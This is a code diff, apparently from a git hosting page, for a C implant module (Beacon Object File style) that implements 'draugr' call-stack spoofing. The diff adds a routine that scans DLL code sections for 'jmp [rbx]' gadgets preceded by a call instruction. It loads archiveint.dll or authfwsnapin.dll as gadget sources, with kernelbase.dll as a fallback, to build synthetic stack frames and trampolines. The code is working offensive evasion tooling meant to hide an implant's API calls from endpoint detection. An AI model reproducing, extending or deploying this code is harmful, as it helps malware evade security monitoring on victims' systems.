|
||||
}
|
||||
|
||||
PVOID find_gadget_call( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
/* check for a call before the gadget */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
if ( counter == 0 ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
seed = 0x7331;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
@@ -301,7 +357,57 @@ ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, P
|
||||
DRAUGR_PARAMETERS draugr_params = { 0 };
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
PVOID gadget_module = NULL;
|
||||
PVOID test_gadget = NULL;
|
||||
BOOL use_kernelbase_gadget = FALSE;
|
||||
|
||||
/* Try gadget modules in order until we find one with valid gadgets */
|
||||
PVOID gadget1 = KERNEL32$GetModuleHandleA ( "archiveint.dll" );
|
||||
if ( ! gadget1 ) {
|
||||
gadget1 = LoadLibraryA ( "archiveint.dll" );
|
||||
}
|
||||
|
||||
if ( gadget1 )
|
||||
{
|
||||
test_gadget = find_gadget_call ( gadget1 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget1;
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module )
|
||||
{
|
||||
PVOID gadget2 = KERNEL32$GetModuleHandleA ( "authfwsnapin.dll" );
|
||||
if ( ! gadget2 ) {
|
||||
gadget2 = LoadLibraryA ( "authfwsnapin.dll" );
|
||||
}
|
||||
if ( gadget2 )
|
||||
{
|
||||
test_gadget = find_gadget_call ( gadget2 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget2;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module )
|
||||
{
|
||||
PVOID gadget3 = KERNEL32$GetModuleHandleA ( "kernelbase.dll" );
|
||||
if ( gadget3 )
|
||||
{
|
||||
test_gadget = find_gadget ( gadget3 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget3;
|
||||
use_kernelbase_gadget = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
init_frame_info ( &frame, gadget_module );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
@@ -321,9 +427,15 @@ ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, P
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
/* Use find_gadget for kernelbase.dll, find_gadget_call for others */
|
||||
if ( use_kernelbase_gadget ) {
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
} else {
|
||||
draugr_params.Trampoline = find_gadget_call ( frame.Gadget );
|
||||
}
|
||||
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
|
||||
Reference in New Issue
Block a user